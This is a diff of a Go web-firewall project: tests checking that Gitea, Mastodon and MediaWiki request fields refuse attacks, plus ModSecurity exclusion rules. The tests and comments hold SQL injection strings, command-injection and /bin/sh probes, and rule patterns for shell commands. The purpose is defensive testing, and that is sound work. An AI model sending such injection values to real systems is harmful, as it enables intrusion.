||||||
var giteaAPISearches = []string{
|
|
||||||
"/api/v1/users/search?q=",
|
|
||||||
"/api/v1/topics/search?q=",
|
|
||||||
"/api/v1/orgs/acme/teams/search?q=",
|
|
||||||
"/api/v1/admin/emails/search?q=",
|
|
||||||
"/api/v1/admin/unadopted?query=",
|
|
||||||
"/api/v1/repos/alice/tools/milestones?name=",
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
|
|
||||||
// also lets /bin/sh through, since a package name can hold a slash.
|
|
||||||
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
|
|
||||||
|
|
||||||
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
checkSearchesRefuseAttacks(
|
|
||||||
t,
|
|
||||||
giteaAPISearches,
|
|
||||||
[]string{giteaAPIPackageSearch},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
|
|
||||||
// script injection and a shell command stay refused in the field of each
|
|
||||||
// search, in the query string and in a form data body. Each search ends in
|
|
||||||
// its field. /bin/sh stays refused too in the field of each of
|
|
||||||
// refusingBinSh, but not of lettingBinSh.
|
|
||||||
func checkSearchesRefuseAttacks(
|
|
||||||
t *testing.T, refusingBinSh, lettingBinSh []string,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
|
|
||||||
path, field, _ := strings.Cut(search, "?")
|
|
||||||
|
|
||||||
for _, attack := range []string{
|
|
||||||
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
|
||||||
} {
|
|
||||||
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
|
|
||||||
t.Errorf("GET %s%s let through: %+v", search, attack, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The same field in a form data body.
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s%s let through: %+v",
|
|
||||||
path,
|
|
||||||
field,
|
|
||||||
attack,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, search := range refusingBinSh {
|
|
||||||
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", search, binSh, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Each search's field on paths near the searches, and another field on
|
|
||||||
// them.
|
|
||||||
checkValuesStayRefused(t, []string{
|
|
||||||
"/api/v1/topics/search/x?q=",
|
|
||||||
"/api/v1/orgs/acme/teams?q=",
|
|
||||||
"/api/v1/orgs/acme/teams/search/x?q=",
|
|
||||||
"/api/v1/admin/emails?q=",
|
|
||||||
"/api/v1/admin/unadopted/alice/legacy-site?query=",
|
|
||||||
"/api/v1/admin/users?query=",
|
|
||||||
"/api/v1/repos/alice/tools/milestones/1?name=",
|
|
||||||
"/api/v1/repos/alice/tools/labels?name=",
|
|
||||||
"/api/v1/packages/alice/generic/tools-cli?q=",
|
|
||||||
"/api/v1/topics/search?other=",
|
|
||||||
"/api/v1/orgs/acme/teams/search?other=",
|
|
||||||
"/api/v1/admin/emails/search?other=",
|
|
||||||
"/api/v1/admin/unadopted?q=",
|
|
||||||
"/api/v1/repos/alice/tools/milestones?q=",
|
|
||||||
"/api/v1/packages/alice?other=",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
|
|
||||||
// path traversal and the hard values stay refused at the end of each target.
|
|
||||||
func checkValuesStayRefused(t *testing.T, targets []string) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
for _, target := range targets {
|
|
||||||
for _, value := range slices.Concat(
|
|
||||||
[]string{binSh, commandInjection, pathTraversal},
|
|
||||||
hardValues,
|
|
||||||
) {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaRegistrySearches are the package registries' searches whose field
|
|
||||||
// skips the lists of system files and command names. Each ends in the field
|
|
||||||
// it sends its words in.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaRegistrySearches = []string{
|
|
||||||
"/api/packages/alice/cargo/api/v1/crates?q=",
|
|
||||||
"/api/packages/alice/chef/api/v1/search?q=",
|
|
||||||
"/api/packages/alice/chef/api/v1/cookbooks?q=",
|
|
||||||
"/api/packages/alice/nuget/query?q=",
|
|
||||||
"/api/packages/alice/nuget/Search()?searchTerm=",
|
|
||||||
"/api/packages/alice/nuget/Packages()?$filter=",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count?searchTerm=",
|
|
||||||
"/api/packages/alice/nuget/Packages()/$count?$filter=",
|
|
||||||
}
|
|
||||||
|
|
||||||
// giteaRegistrySearchesLettingBinSh are the package registries' searches
|
|
||||||
// whose field also lets /bin/sh through, since a Composer, Conan or npm name
|
|
||||||
// can hold a slash.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var giteaRegistrySearchesLettingBinSh = []string{
|
|
||||||
"/api/packages/alice/composer/search.json?q=",
|
|
||||||
"/api/packages/alice/conan/v1/conans/search?q=",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=",
|
|
||||||
"/api/packages/alice/npm/-/v1/search?text=",
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
checkSearchesRefuseAttacks(
|
|
||||||
t,
|
|
||||||
giteaRegistrySearches,
|
|
||||||
giteaRegistrySearchesLettingBinSh,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// Each search's field on paths near the searches, and another field on
|
|
||||||
// them.
|
|
||||||
checkValuesStayRefused(t, []string{
|
|
||||||
"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
|
|
||||||
"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
|
|
||||||
"/api/packages/alice/composer/packages.json?q=",
|
|
||||||
"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
|
|
||||||
"/api/packages/alice/nuget/query/x?q=",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()?id=",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()/$count?id=",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count/x?searchTerm=",
|
|
||||||
"/api/packages/alice/npm/tools-cli?text=",
|
|
||||||
"/api/packages/alice/cargo/api/v1/crates?other=",
|
|
||||||
"/api/packages/alice/chef/api/v1/search?other=",
|
|
||||||
"/api/packages/alice/composer/search.json?type=",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?other=",
|
|
||||||
"/api/packages/alice/nuget/query?other=",
|
|
||||||
"/api/packages/alice/nuget/Search()?targetFramework=",
|
|
||||||
"/api/packages/alice/nuget/Packages()?$orderby=",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count?targetFramework=",
|
|
||||||
"/api/packages/alice/nuget/Packages()/$count?$orderby=",
|
|
||||||
"/api/packages/alice/npm/-/v1/search?q=",
|
|
||||||
})
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// The rule for MongoDB operators (942290) still refuses the name of
|
|
||||||
// another operator on NuGet's searches, and $filter on NuGet's other
|
|
||||||
// paths. The rule for SQL injection (942100) still refuses tools/* in a
|
|
||||||
// field other than a Conan search's, SQL injection in a second q after a
|
|
||||||
// Conan pattern, SQL comments or dots that stand in for spaces, and SQL
|
|
||||||
// injection holding + or --.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/api/packages/alice/nuget/Search()?$where=1",
|
|
||||||
"/api/packages/alice/nuget/Packages()?$ne=1",
|
|
||||||
"/api/packages/alice/nuget/Search()/$count?$where=1",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
|
|
||||||
"/api/packages/alice/nuget/FindPackagesById()/$count?$filter=IsLatestVersion",
|
|
||||||
"/api/packages/alice/composer/search.json?q=tools%2F%2A",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
|
|
||||||
sqlInjection,
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%2A%2For%2F%2A%2A%2F1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1%2F%2A%40%2A%2For-1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1%2Bor%2B1--",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1-or-1--",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.or.1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=x%2F1.and.1",
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=1.having.1",
|
|
||||||
} {
|
|
||||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
|
||||||
t.Errorf("%s let through: %+v", target, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// SQL injection in a q in the body is refused, even after a Conan
|
|
||||||
// pattern in the query string.
|
|
||||||
search := request{
|
|
||||||
http.MethodPost,
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=zlib",
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
body := "q=" + sqlInjection
|
|
||||||
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// So is SQL injection with dots for spaces, in a q sent only in the body.
|
|
||||||
search.target = "/api/packages/alice/conan/v2/conans/search"
|
|
||||||
|
|
||||||
body = "q=x%2F1.or.1"
|
|
||||||
if got, _ := inspectBody(t, readingBodies(t), search, body); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s %s let through: %+v", search.target, body, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The rule that lets a Conan pattern through is in phase 2, where it
|
|
||||||
// checks tx.app_gitea itself: a hostname that does not serve gitea
|
|
||||||
// refuses the pattern.
|
|
||||||
pattern := get(
|
|
||||||
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A",
|
|
||||||
)
|
|
||||||
apps := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {wordpress},
|
|
||||||
})
|
|
||||||
wantResult(t, apps, withHost(pattern, giteaHost), coreruleset.Result{})
|
|
||||||
wantResult(t, apps, withHost(pattern, otherHost), matched(942100))
|
|
||||||
}
|
|
||||||
@@ -1,11 +1,11 @@
|
|||||||
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
|
# The twelfth change: on Mastodon's paths, some fields skip the rules that
|
||||||
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
# refused ordinary Mastodon requests there. They are the fields where Mastodon
|
||||||
# sends a search, a name, a title, a file name, an address or free text. Each
|
# sends a search, a name, a title, a file name, an address or free text. Each
|
||||||
# exclusion runs with the request, before the rules it switches off, so this
|
# exclusion runs with the request, before the rules it switches off, so this
|
||||||
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||||
# a rule refused. An exclusion on a field of a body applies only when the query
|
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||||
# has no parameter of that name, so it matters only while
|
# has no parameter of that name, so it matters only while SWW_WAF_BODY_LIMIT is
|
||||||
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# set.
|
||||||
#
|
#
|
||||||
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||||
# resources under them count as Mastodon's paths.
|
# resources under them count as Mastodon's paths.
|
||||||
@@ -17,13 +17,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_mastodon. It sets
|
|
||||||
# it while SWW_WAF_APPS is unset, or lists mastodon for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_mastodon itself.
|
|
||||||
SecRule &TX:app_mastodon "@eq 0" \
|
|
||||||
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
|
|
||||||
|
|
||||||
# The API's searches and names, in the query:
|
# The API's searches and names, in the query:
|
||||||
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
|
||||||
# acct: /api/v1/accounts/lookup?acct=python3
|
# acct: /api/v1/accounts/lookup?acct=python3
|
||||||
@@ -304,5 +297,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
|
|||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
|
||||||
|
|
||||||
SecMarker END_MASTODON
|
|
||||||
@@ -12,7 +12,7 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// mastodonThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mastodonThreshold = 5
|
const mastodonThreshold = 5
|
||||||
|
|
||||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||||
@@ -55,20 +55,6 @@ const (
|
|||||||
mastodonStatus = "status="
|
mastodonStatus = "status="
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"mastodon"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only Mastodon's fixes let through.
|
|
||||||
search := get("/api/v2/search?q=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||||
// and 932260 in the query, on a path where it skips them, ending in "=".
|
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||||
//
|
//
|
||||||
|
|||||||
@@ -1,12 +1,12 @@
|
|||||||
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
|
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
|
||||||
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
|
||||||
# sends a search, a title, a name, a file name, an address, a summary or a
|
# sends a search, a title, a name, a file name, an address, a summary or a
|
||||||
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
# reason, and the fields that hold wikitext. Each exclusion runs with the
|
||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter of
|
# exclusion on a field of a body applies only when the query has no parameter of
|
||||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
|
||||||
# MediaWiki's paths are matched at the site root and under /w/.
|
# paths are matched at the site root and under /w/.
|
||||||
#
|
#
|
||||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||||
# with a page title, in the query or after the path:
|
# with a page title, in the query or after the path:
|
||||||
@@ -21,13 +21,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_mediawiki. It sets
|
|
||||||
# it while SWW_WAF_APPS is unset, or lists mediawiki for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_mediawiki itself.
|
|
||||||
SecRule &TX:app_mediawiki "@eq 0" \
|
|
||||||
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
|
|
||||||
|
|
||||||
# The pages and their titles, the searches, and the special pages' fields
|
# The pages and their titles, the searches, and the special pages' fields
|
||||||
# for a page, a user, a file or an address:
|
# for a page, a user, a file or an address:
|
||||||
# title: /index.php?title=Python3_notes&action=history
|
# title: /index.php?title=Python3_notes&action=history
|
||||||
@@ -215,12 +208,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
|
|||||||
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
|
||||||
# of /index.php. A title on any other path does not count, so another app's
|
# of /index.php. A title on any other path does not count, so another app's
|
||||||
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
# paths under /index.php/ keep every rule. These rules are in phase 2, because
|
||||||
# the forms send authAction in the body. They check tx.app_mediawiki, since the
|
# the forms send authAction in the body.
|
||||||
# skip above does not reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
"id:900919,phase:2,pass,nolog,chain"
|
"id:900919,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
|
||||||
SecRule ARGS:authAction "@streq change" \
|
SecRule ARGS:authAction "@streq change" \
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
|
||||||
@@ -262,7 +253,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
|
||||||
"id:900920,phase:2,pass,nolog,chain"
|
"id:900920,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
SecRule &ARGS_GET:retype "@eq 0" "chain"
|
||||||
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
|
||||||
@@ -391,12 +381,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||||
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||||
# once, since it would otherwise skip these rules for a second wpTitles
|
# once, since it would otherwise skip these rules for a second wpTitles
|
||||||
# holding a command. It checks tx.app_mediawiki, since the skip above does not
|
# holding a command.
|
||||||
# reach phase 2.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
"id:900916,phase:2,pass,nolog,chain"
|
"id:900916,phase:2,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
SecRule &TX:app_mediawiki "@eq 1" "chain"
|
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||||
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||||
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||||
@@ -405,5 +393,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||||
|
|
||||||
SecMarker END_MEDIAWIKI
|
|
||||||
@@ -5,16 +5,11 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const mediawikiThreshold = 5
|
const mediawikiThreshold = 5
|
||||||
|
|
||||||
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
|
|
||||||
const mediawiki = "mediawiki"
|
|
||||||
|
|
||||||
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
// mediawikiEdit is the address MediaWiki's edit form posts to.
|
||||||
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
const mediawikiEdit = "/index.php?title=Example&action=submit"
|
||||||
|
|
||||||
@@ -54,119 +49,6 @@ const (
|
|||||||
mediawikiUploadPage = "/index.php/Special:Upload"
|
mediawikiUploadPage = "/index.php/Special:Upload"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {mediawiki},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search, which only MediaWiki's fixes let through.
|
|
||||||
search := get("/index.php?title=Special:Search&search=python3")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
Apps: map[string][]string{
|
|
||||||
giteaHost: {gitea},
|
|
||||||
otherHost: {mediawiki},
|
|
||||||
},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A watchlist that only the phase 2 rule 900916 lets through.
|
|
||||||
r := request{
|
|
||||||
http.MethodPost,
|
|
||||||
mediawikiWatchlist.target,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
|
|
||||||
if got.Score >= mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s refused: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
otherHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
|
|
||||||
if got.Score < mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
body,
|
|
||||||
giteaHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := shared(t, coreruleset.Params{
|
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
|
||||||
BodyInspectionSize: bodyInspectionSize,
|
|
||||||
Apps: map[string][]string{
|
|
||||||
giteaHost: {gitea},
|
|
||||||
otherHost: {mediawiki},
|
|
||||||
},
|
|
||||||
})
|
|
||||||
|
|
||||||
// Passwords that only the phase 2 rules 900919 and 900920 let through,
|
|
||||||
// each sent with the authAction of its form.
|
|
||||||
for _, sent := range []struct{ target, body string }{
|
|
||||||
{
|
|
||||||
mediawikiAccountChange,
|
|
||||||
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
|
|
||||||
},
|
|
||||||
{
|
|
||||||
mediawikiSignUp,
|
|
||||||
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
|
|
||||||
if got.Score >= mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s refused: %+v",
|
|
||||||
r.target,
|
|
||||||
sent.body,
|
|
||||||
otherHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
|
|
||||||
if got.Score < mediawikiThreshold {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %s on %s let through: %+v",
|
|
||||||
r.target,
|
|
||||||
sent.body,
|
|
||||||
giteaHost,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
|
